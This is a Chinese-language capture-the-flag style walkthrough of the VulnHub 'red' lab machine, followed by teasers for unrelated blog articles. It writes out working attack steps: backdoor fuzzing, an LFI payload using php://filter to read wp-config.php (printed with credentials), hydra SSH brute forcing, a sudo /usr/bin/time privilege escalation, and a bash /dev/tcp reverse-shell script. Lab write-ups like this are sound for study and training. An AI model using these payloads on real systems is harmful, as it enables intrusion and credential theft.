【精选】VulnHub red 超详细过程思路

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【java】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!


一、信息收集

1.主机探测

发现靶机的IP是192.168.11.90

┌──(root💀kali)-[~/桌面]
└─# arp-scan -l

2.端口扫描

发现开放了22、80端口

还可以看到robots.txt,wp-admin目录以及cms为WordPress5.8.1

3.web服务

点击这个Hello Blue!

网站显示无法访问,但是可以看到有个域名显示

把这个域名加入hosts文件中,就可以访问了

再次进行访问

页面提示说找不到他的后门,说明此网站肯定已经被植入了后门,查看一下源代码

这里有一段英文,意思就是说要向Mr. Miessler寻求帮助,也不知道是啥意思,在网上搜一下

4.后门文件查找

然后github上面提示我在kali上面下载这个

apt -y install seclists

因为 WordPress 在 Apache PHP 上运行。所以应该是 php 后门,用目录扫描看看能不能扫出疑似后门的文件,所以用 SecLists里的 CommonBackdoors-PHP.fuzz.txt 扫描

/usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt

dirsearch 扫描

发现一个NetworkFileManagerPHP.php页面,进行访问,但是访问后发现是一片空白,说明确实存在这个页面,再根据状态码为500猜测这个页面可能存在LFI

使用wfuzz测试一下参数

┌──(root💀kali)-[~/桌面]
└─# dirsearch -w /usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt -u http://redrocks.win/

wfuzz扫描

wfuzz -c -u 'http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=test' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt

使用key参数测试一下LFI

发现成功了,说明参数就是key 且存在文件包含漏洞

直接读取,发现php被解析了,所有要利用php伪协

二、漏洞利用

1.文件包含-filter伪协议

http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/convert.base64-encode/resource=NetworkFileManagerPHP.php

经过base64解码:

中间有一段被注释了的base64加密的,解密以后:

发现并没有什么用,因为提到了hashcat,于是寻找账号密码信息,因为是WordPress,所以查找该配置文件信息wp-config.php

还是通过文件包含用PHP伪协议去读取文件源码,然后base64解码

http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/convert.base64-encode/resource=wp-config.php
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/support/article/editing-wp-config-php/
 *
 * @package WordPress
 */
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'john' );

/** MySQL database password */
define( 'DB_PASSWORD', 'R3v_m4lwh3r3_k1nG!!' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

define('FS_METHOD', 'direct');

define('WP_SITEURL', 'http://redrocks.win');
define('WP_HOME', 'http://redrocks.win');

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define('AUTH_KEY',         '2uuBvc8SO5{>UwQ<^5V5[UHBw%N}-BwWqw|><*HfBwJ( $&%,(Zbg/jwFkRHf~v|');
define('SECURE_AUTH_KEY',  'ah}<I`52GL6C^@~x C9FpMq-)txgOmA<~{R5ktY/@.]dBF?keB3}+Y^u!a54 Xc(');
define('LOGGED_IN_KEY',    '[a!K}D<7-vB3Y&x_<3e]Wd+J]!o+A:U@QUZ-RU1]tO@/N}b}R@+/$+u*pJ|Z(xu-');
define('NONCE_KEY',        ' g4|@~:h,K29D}$FL-f/eujw(VT;8wa7xRWpVR: >},]!Ez.48E:ok 8Ip~5_o+a');
define('AUTH_SALT',        'a;,O<~vbpL+|@W+!Rs1o,T$r9(LwaXI =I7ZW$.Z[+BQ=B6QG7nr+w_bQ6B]5q4c');
define('SECURE_AUTH_SALT', 'GkU:% Lo} 9}w38i:%]=uq&J6Z&RR#v2vsB5a_ +.[us;6mE+|$x*+ D*Ke+:Nt:');
define('LOGGED_IN_SALT',   '#`F9&pm_jY}N3y0&8Z]EeL)z,$39,yFc$Nq`jGOMT_aM*`<$9A:9<Kk^L}fX@+iZ');
define('NONCE_SALT',       'hTlFE*6zlZMbqluz)hf:-:x-:l89fC4otci;38|i`7eU1;+k[!0[ZG.oCt2@-y3X');

/**#@-*/

/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/support/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );

/* Add any custom values between this line and the "stop editing" line. */



/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
  define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

发现了一个账号和密码

/** MySQL database username */
define( 'DB_USER', 'john' );

/** MySQL database password */
define( 'DB_PASSWORD', 'R3v_m4lwh3r3_k1nG!!' );

尝试ssh远程登录,但是发现失败了

2.hash碰撞

hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule > passlist.txt

##passwd.txt 为配置文件中读取的密码,passlist.txt为hash碰撞生成的密码

hydar爆破账号密码

hydra -l john -P passlist.txt 192.168.11.90 ssh

3.提权

┌──(root💀kali)-[~/桌面]
└─# ssh john@192.168.11.90 

但是发现登录进去,没有过几秒就自动退出ssh远程了

登录退出来以后,还要重新利用hydra进行破解

sudo -l

发现ippsec用户在无密码的情况下可以执行/usr/bin/time命令,在提权网站上查找提权方法

使用sudo -u ippsec /usr/bin/time /bin/bash提权为ippsec用户

想进行下一步操作,发现shell又被断掉了

所有,在退出之前,进行反弹shell,保留权限

cd /tmp
cat shell.sh
内容为:
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/192.168.11.90/4444 0>&1'
保存后退出
chmod +x shell.sh
./shell.sh

kali监听本地的4444端口即可

shell连接成功,升级一下shell

1. 在 /tmp 目录中创建一个反向 shell bash 脚本
2. 在 kali 上运行 `nc -lvvp 4444` 和 执行 shell 脚本
3. `python3 -c 'import pty;pty.spawn("/bin/bash")'`
4. `export TERM=xterm` 然后 Ctrl+Z 退出来一下
5. `stty raw -echo;fg` 回车后输入 reset 再回车

即可得到一个不会断开的shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/200895.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

自动化测试工具——Monkey

前言&#xff1a; 最近开始研究Android自动化测试方法&#xff0c;整理了一些工具、方法和框架&#xff0c;其中包括android测试框架&#xff0c;CTS、Monkey、Monkeyrunner、benchmark&#xff0c;以及其它test tool等等。 一、 什么是Monkey Monkey是Android中的一个命令…

Intellij idea 内存不够用了,怎么处理?

目录 如何判断内存不够用了 下面演示一下如何开启内存指示器&#xff08;Memory Indicator&#xff09; 解决方案 第一种&#xff1a;双击"内存指示器(Mempory Indicator)" 第二种&#xff1a;增大Intellij Idea 最大可使用内存 如何判断内存不够用了 运行项目后…

pyhon数据分析A股股票策略实际买卖总结(每月末更新数据)

简介 本篇文章主要记录python数据分析a股股票选股后实际买卖的记录。 选股策略 低位寻股&#xff0c;筛选出低位股价股票已经做过调整的股票&#xff0c;做短线交易&#xff08;不超过7天&#xff09;&#xff0c;不贪&#xff0c;小赚即走。分三个时段&#xff0c;开盘三十…

自动锁螺丝机配件直线模组的作用

直线模组的应用非常广泛&#xff0c;在各种需要高精度、高效率的自动化直线运动的场合都有应用&#xff0c;尤其是在自动锁螺丝机中&#xff0c;起着关键性作用。 1、提供精确的定位和导向&#xff1a;在自动锁螺丝机中&#xff0c;螺丝的拧紧和输送都需要精确控制&#xff0c;…

一种更好的前端组件结构:组件树

本文翻译自 A Better Frontend Component Structure: Component Trees&#xff0c;作者&#xff1a;William Bernting&#xff0c; 略有删改。 自很久以前遵循互联网上的建议以来&#xff0c;我一直采用了某种“能工作就行”的组件结构。 场景 让我们首先想象一个简化的前端应…

Linux高级IO

文章目录 一.IO的基本概念二.钓鱼五人组三.五种IO模型四.高级IO重要概念1.同步通信 VS 异步通信2.阻塞 VS 非阻塞 五.其他高级IO六.阻塞IO七.非阻塞IO 一.IO的基本概念 什么是IO&#xff1f; I/O&#xff08;input/output&#xff09;也就是输入和输出&#xff0c;在著名的冯诺…

LDF文件之LDF Explorer工具

LDF Explorer工具 LDF文件比较像DBC文件&#xff0c;也是用来解析报文的&#xff0c;DBC文件是用在CAN通讯上的&#xff0c;LDF文件是用在LIN通讯上的。 我们可以用vector自带的工具LDF Explorer打开LDF文件&#xff0c;这个工具是最标准的&#xff0c;有些同学自己做了一个L…

C++基础 -18-继承中类继承的区别

无论使用公有&#xff0c;保护&#xff0c;私有继承 都无法访问基类私有成员 在多级继承中 使用公有继承 派生的派生可以访问基类的公有&#xff0c;保护成员 在多级继承中 使用保护继承 派生的派生可以访问基类的公有&#xff0c;保护成员 在多级继承中 使用私有继承 派生的派…

浅学指针(3)

系列文章目录 文章目录 系列文章目录前言系列文章目录前言1. 字符指针变量2. 数组指针变量那数组指针变量应该是&#xff1a;存放的应该是数组的地址&#xff0c;能够指向数组的指针变量。2.2 数组指针变量怎么初始化总结&#xff1a;函数名就是地址&#xff0c;&函数名和直…

【送书活动二期】Java和MySQL数据库中关于小数的保存问题

之前总结过一篇文章mysql数据库&#xff1a;decimal类型与decimal长度用法详解&#xff0c;主要是个人学习期间遇到的mysql中关于decimal字段的详解&#xff0c;最近在群里遇到一个小伙伴提出的问题&#xff0c;也有部分涉及&#xff0c;今天就再大致总结一下Java和MySQL数据库…

热门话题解析:pytest测试用例顺序问题解决方案!

前言 上一篇文章我们讲了在pytest中测试用例的命名规则&#xff0c;那么在pytest中又是以怎样的顺序执行测试用例的呢&#xff1f; 在unittest框架中&#xff0c;默认按照ACSII码的顺序加载测试用例并执行&#xff0c;顺序为&#xff1a;09、AZ、a~z&#xff0c;测试目录、测…

【软件测试学习】—软件测试的概念与软件测试模型(一)

【软件测试学习】—软件测试的概念与软件测试模型&#xff08;一&#xff09; 我 | 在这里 &#x1f469;‍&#x1f9b0;&#x1f469;‍&#x1f9b0; 读书 | 长沙 ⭐计算机科学与技术 ⭐ 本科 【2024届】 &#x1f383;&#x1f383; 爱好 | 旅游、跑步、网易云、美食、摄影…

力扣 41 42.接雨水问题详细讲解,保证看完必会接雨水问题!!!时间复杂度最优解 o(n)

首先来个开胃小菜&#xff0c;41.缺少最小整数&#xff08;难度&#xff1a;困难&#xff09;真实感觉像是个简单级别 41. 缺失的第一个正数 给你一个未排序的整数数组 nums &#xff0c;请你找出其中没有出现的最小的正整数。 请你实现时间复杂度为 O(n) 并且只使用常数级别额…

制作心理咨询小程序的详细指南

随着科技的的发展&#xff0c;小程序已经成为了人们日常生活中不可或缺的一部分。特别是在心理咨询这个领域&#xff0c;小程序可以提供一个更为便捷、高效的服务平台。本文将通过乔拓云平台为例&#xff0c;详细介绍如何制作一个心理咨询小程序。 首先&#xff0c;我们需要注册…

销门!销售秘籍都在这了

很多刚进销售行业&#xff0c;或者初入职场的小白&#xff0c;肯定会有这一段迷茫/茫然期&#xff1a;为什么同事每天都有客户打电话/实地拜访呢&#xff1f; 而自己却无所事事&#xff0c;也没有客户找我&#xff0c;也不知道去哪里拜访客户。 这个阶段对于销售小白来说是很…

YOLOv5原创改进:全维动态卷积再改进,GCODConv

目录 一、原理 网络结构 二、代码 三、应用到YOLOv5中 一、原理

Mysql解决随机选取问题

常规的随机选取效率差的原因&#xff1a; 两种解决方法&#xff1a; 总结&#xff1a;

【Redis基础】Redis基本的全局命令

✅作者简介&#xff1a;大家好&#xff0c;我是小杨 &#x1f4c3;个人主页&#xff1a;「小杨」的csdn博客 &#x1f433;希望大家多多支持&#x1f970;一起进步呀&#xff01; Redis基本的全局命令 1&#xff0c;KEYS命令 语法&#xff1a;KEYS pattern KEYS命令用来查询服…

深度学习知识点

深度学习过程 data [] for i,d in enumerate(data):image,label d image,label image.cuda(),label.cuda()img net(image)optimizer.zero_grad()#需要将梯度信息清零&#xff0c;因为梯度计算是按照batch分批次计算的&#xff0c;如果这一批batch没清零&#xff0c;会影响…

深入理解堆排序:建堆、排序与优化

引言 在计算机科学中&#xff0c;堆排序是一种高效的排序算法&#xff0c;利用堆的数据结构特性进行排序。本文将深入探讨堆排序的原理、实现过程&#xff0c;并介绍一种优化方法&#xff0c;以帮助读者更好地理解和运用这一经典算法 目录 堆排序简介 1.1 什么是堆排序&#x…